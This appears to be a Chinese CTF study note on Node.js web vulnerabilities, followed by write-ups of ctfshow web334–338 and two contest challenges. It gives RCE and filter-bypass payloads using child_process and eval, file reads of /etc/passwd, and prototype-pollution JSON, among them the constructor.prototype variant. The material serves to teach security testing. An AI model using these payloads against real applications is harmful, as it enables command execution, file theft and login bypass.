Node js
Nodejs基础
简单说Node.js就是运行在服务端的JavaScript。
Node.js是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的v8引擎,v8引擎执行JavaScript的速度非常快,性能非常好。
Nodejs语言的缺点
1.大小写转换中的问题
toUpperCase() 将小写字母的字符转换成大写,如果是其他字符,则字符不变。
在遇到一些特殊字符时,会发生混乱,比如将ı转换成I,将ſ转换成S
toLowerCase() 将大写字母的字符转换成小写,如果是其他字符,则字符不变。
在遇到一些特殊字符时,会发生混乱,比如将İ转换成i,将K转换成k
2.弱类型比较
数字与字符串比较时,会优先将纯数字型字符串转换成数字之后再进行比较,而字符串与字符串比较时,会将字符串的第一个字符转换成ASCII码之后再进行比较,而非数字型字符串与任何数字进行比较都是false。
空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组和非数值型字符串比较,数组永远小于非数值型字符串,数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。
关键字的比较
md5绕过
举个列子
a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)
传入
a[x]=1&b[x]=2
nodejs编码绕过
16进制编码
console .log ('a' ==='\x61' )true
unicode编码
console .log ('a' ==='\u0061' )true
base64编码
console .log (Buffer .from ("dGVzdA==" ,base64).toString ())
Node js 危险函数利用
exec()
require ('child_process' ).exec ('calc' );
eval()
console .log (eval ("document.cookie" ))
文件读写
require ('fs' ).writeFileSync ('input' ,'test' );require ('fs' ).writeFile ('input.txt' ,'test' ,(err )=> {}); require ('fs' ).readFile ('/etc/passwd' ,'utf-8' ,(err,data )=> { if (err) throw err; console .log (data); }); require ('fs' ).readFileSync ('/etc/passwd' ,'utf-8' );
RCE bypass
require ('child_process' )['exe' +'c' ]('ls' )require ('child_process' )['exe' %2B'c' ]('ls' )require ('child_process' )['exe' .concat ("c" )]('ls' )require ('child_process' )["\x65\x78\x65\x63" ]('ls' )require ('child_process' )["\u0065\u0078\u0065\u0063" ]('ls' )console .log (Buffer .from ("cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7" ,base64).toString ())
Nodejs中的SSRF
拆分攻击
Nodejs原型链污染
p神文章
原型链污染是一种针对JavaScript运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值,这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务攻击,或者在极端情况下,远程执行代码。
prototype原型
JavaScript只有一种结构,对象。每个实例对象(object)都有一个私有属性(__proto__),指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为null,根据定义null没有原型,并作为原型链中的最后一个环节。
原型链污染的原理
原型链污染导致的RCE
web334
login.js
var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } }); module .exports = router;
user.js
module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
思路分析
设法登录成功之后取得flag,登录时通过post方法传入username,password两个参数,当findUser函数返回值为真时,可以成功登录,我们post可以传入
username=ctfshow,password=123456
web 335
F12显示有eval,这里考虑nodejs命令执行。
思路分析
require ('child_process' ).execSync ('ls' ).toString ()require ('child_process' ).execSync ('cat fl00g.txt' ).toString ()require ('child_process' ).spawnSync ('ls' ,['./' ]).stdout .toString ()require ('child_process' ).spawnSync ('cat' ,['fl00g.txt' ]).stdout .toString ()global .process .mainModule .constructor ._load ('child_process' ).execSync ('ls' ,['.' ]).toString ()
web 336
继续尝试命令执行,发现被过滤。考虑文件读取
思路分析
/?eval =__filename /?eval =require ('fs' ).readFileSync ('/app/routes/index.js' ,'utf-8' ) /?eval =require ('child_process' )['exe' +'cSync' ]('ls' ).toString () ?eval =require ('fs' ).readdirSync ('.' ) ?eval =require ('fs' ).readFileSync ('fl001g.txt' ,'utf-8' )
web 337
task.js
var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } }); module .exports = router;
思路分析
简单的md5绕过,可以通过数组或者对象的方式,这里传入
web 338
在源代码中发现
login.js
var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } }); module .exports = router;
追踪copy函数
common.js
module .exports = { copy :copy }; function copy (object1, object2 ){ for (let key in object2) { if (key in object2 && key in object1) { copy (object1[key], object2[key]) } else { object1[key] = object2[key] } } }
这里是典型的原型链污染,我们通过copy函数,对secret进行污染,使得secret中的属性ctfshow等于36dboy成功登录获得flag
我们这里传入
{ "__proto__" :{"ctfshow" :"36dboy" }}
Hgame week3 [WebVPN]
app.js
const express = require ("express" );const axios = require ("axios" );const bodyParser = require ("body-parser" );const path = require ("path" );const fs = require ("fs" );const { v4 : uuidv4 } = require ("uuid" );const session = require ("express-session" );const app = express ();const port = 3000 ;const session_name = "my-webvpn-session-id-" + uuidv4 ().toString ();app.set ("view engine" , "pug" ); app.set ("trust proxy" , false ); app.use (express.static (path.join (__dirname, "public" ))); app.use ( session ({ name : session_name, secret : uuidv4 ().toString (), secure : false , resave : false , saveUninitialized : true , }) ); app.use (bodyParser.json ()); var userStorage = { username : { password : "password" , info : { age : 18 , }, strategy : { "baidu.com" : true , "google.com" : false , }, }, }; function update (dst, src ) { for (key in src) { if (key.indexOf ("__" ) != -1 ) { continue ; } if (typeof src[key] == "object" && dst[key] !== undefined ) { update (dst[key], src[key]); continue ; } dst[key] = src[key]; } } app.use ("/proxy" , async (req, res) => { const { username } = req.session ; if (!username) { res.sendStatus (403 ); } let url = (() => { try { return new URL (req.query .url ); } catch { res.status (400 ); res.end ("invalid url." ); return undefined ; } })(); if (!url) return ; if (!userStorage[username].strategy [url.hostname ]) { res.status (400 ); res.end ("your url is not allowed." ); } try { const headers = req.headers ; headers.host = url.host ; headers.cookie = headers.cookie .split (";" ).forEach ((cookie ) => { var filtered_cookie = "" ; const [key, value] = cookie.split ("=" , 1 ); if (key.trim () !== session_name) { filtered_cookie += `${key} =${value} ;` ; } return filtered_cookie; }); const remote_res = await (() => { if (req.method == "POST" ) { return axios.post (url, req.body , { headers : headers, }); } else if (req.method == "GET" ) { return axios.get (url, { headers : headers, }); } else { res.status (405 ); res.end ("method not allowed." ); return ; } })(); res.status (remote_res.status ); res.header (remote_res.headers ); res.write (remote_res.data ); } catch (e) { res.status (500 ); res.end ("unreachable url." ); } }); app.post ("/user/login" , (req, res ) => { const { username, password } = req.body ; if ( typeof username != "string" || typeof password != "string" || !username || !password ) { res.status (400 ); res.end ("invalid username or password" ); return ; } if (!userStorage[username]) { res.status (403 ); res.end ("invalid username or password" ); return ; } if (userStorage[username].password !== password) { res.status (403 ); res.end ("invalid username or password" ); return ; } req.session .username = username; res.send ("login success" ); }); app.post ("/user/info" , (req, res ) => { if (!req.session .username ) { res.sendStatus (403 ); } update (userStorage[req.session .username ].info , req.body ); res.sendStatus (200 ); }); app.get ("/home" , (req, res ) => { if (!req.session .username ) { res.sendStatus (403 ); return ; } res.render ("home" , { username : req.session .username , strategy : ((list )=> { var result = []; for (var key in list) { result.push ({host : key, allow : list[key]}); } return result; })(userStorage[req.session .username ].strategy ), }); }); app.get ("/flag" , (req, res ) => { if ( req.headers .host != "127.0.0.1:3000" || req.hostname != "127.0.0.1" || req.ip != "127.0.0.1" ) { res.sendStatus (400 ); return ; } const data = fs.readFileSync ("/flag" ); res.send (data); }); app.listen (port, '0.0.0.0' , () => { console .log (`app listen on ${port} ` ); });
思路分析
观察最后一个函数
app.get ("/flag" , (req, res ) => { if ( req.headers .host != "127.0.0.1:3000" || req.hostname != "127.0.0.1" || req.ip != "127.0.0.1" ) { res.sendStatus (400 ); return ; } const data = fs.readFileSync ("/flag" ); res.send (data); });
这里记录了获得flag的条件,是要从127.0.0.1:3000访问flag,但是这里我们无法直接进行伪造,考虑ssrf。
分析/proxy路由,传入参数url,检查这个网站是否能够访问,能访问直接访问,否则返回your url is not allowed.
我们这里设法将127.0.0.1设置成可以访问的变量即可获得flag
观察update函数
function update (dst, src ) { for (key in src) { if (key.indexOf ("__" ) != -1 ) { continue ; } if (typeof src[key] == "object" && dst[key] !== undefined ) { update (dst[key], src[key]); continue ; } dst[key] = src[key]; } }
这里是典型的原型链污染,但是过滤了“_”,可以用 constructor.prototype
代替__proto__
我们在/user/info
路由当中传入{"age":1212,"constructor":{"prototype":{"127.0.0.1":true}}}
然后在通过/proxy
路由访问http://127.0.0.1:3000
获得flag
[西湖论剑 2022]Node Magical Login
controller.js
const fs = require ("fs" );const SECRET_COOKIE = process.env .SECRET_COOKIE || "this_is_testing_cookie" const flag1 = fs.readFileSync ("/flag1" )const flag2 = fs.readFileSync ("/flag2" )function LoginController (req,res ) { try { const username = req.body .username const password = req.body .password if (username !== "admin" || password !== Math .random ().toString ()) { res.status (401 ).type ("text/html" ).send ("Login Failed" ) } else { res.cookie ("user" ,SECRET_COOKIE ) res.redirect ("/flag1" ) } } catch (__) {} } function CheckInternalController (req,res ) { res.sendFile ("check.html" ,{root :"static" }) } function CheckController (req,res ) { let checkcode = req.body .checkcode ?req.body .checkcode :1234 ; console .log (req.body ) if (checkcode.length === 16 ){ try { checkcode = checkcode.toLowerCase () if (checkcode !== "aGr5AtSp55dRacer" ){ res.status (403 ).json ({"msg" :"Invalid Checkcode1:" + checkcode}) } }catch (__) {} res.status (200 ).type ("text/html" ).json ({"msg" :"You Got Another Part Of Flag: " + flag2.toString ().trim ()}) }else { res.status (403 ).type ("text/html" ).json ({"msg" :"Invalid Checkcode2:" + checkcode}) } } function Flag1Controller (req,res ){ try { if (req.cookies .user === SECRET_COOKIE ){ res.setHeader ("This_Is_The_Flag1" ,flag1.toString ().trim ()) res.setHeader ("This_Is_The_Flag2" ,flag2.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("Login success. Welcome,admin!" ) } if (req.cookies .user === "admin" ) { res.setHeader ("This_Is_The_Flag1" , flag1.toString ().trim ()) res.status (200 ).type ("text/html" ).send ("You Got One Part Of Flag! Try To Get Another Part of Flag!" ) }else { res.status (401 ).type ("text/html" ).send ("Unauthorized" ) } }catch (__) {} } module .exports = { LoginController , CheckInternalController , Flag1Controller , CheckController }
思路分析
首先拿flag1,设置cookie: user=admin
然后访问/flag1 查看响应头可以得到
然后使checkcode.toLowerCase()
报错,json格式传一个长度为16的数组即可
{"checkcode":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}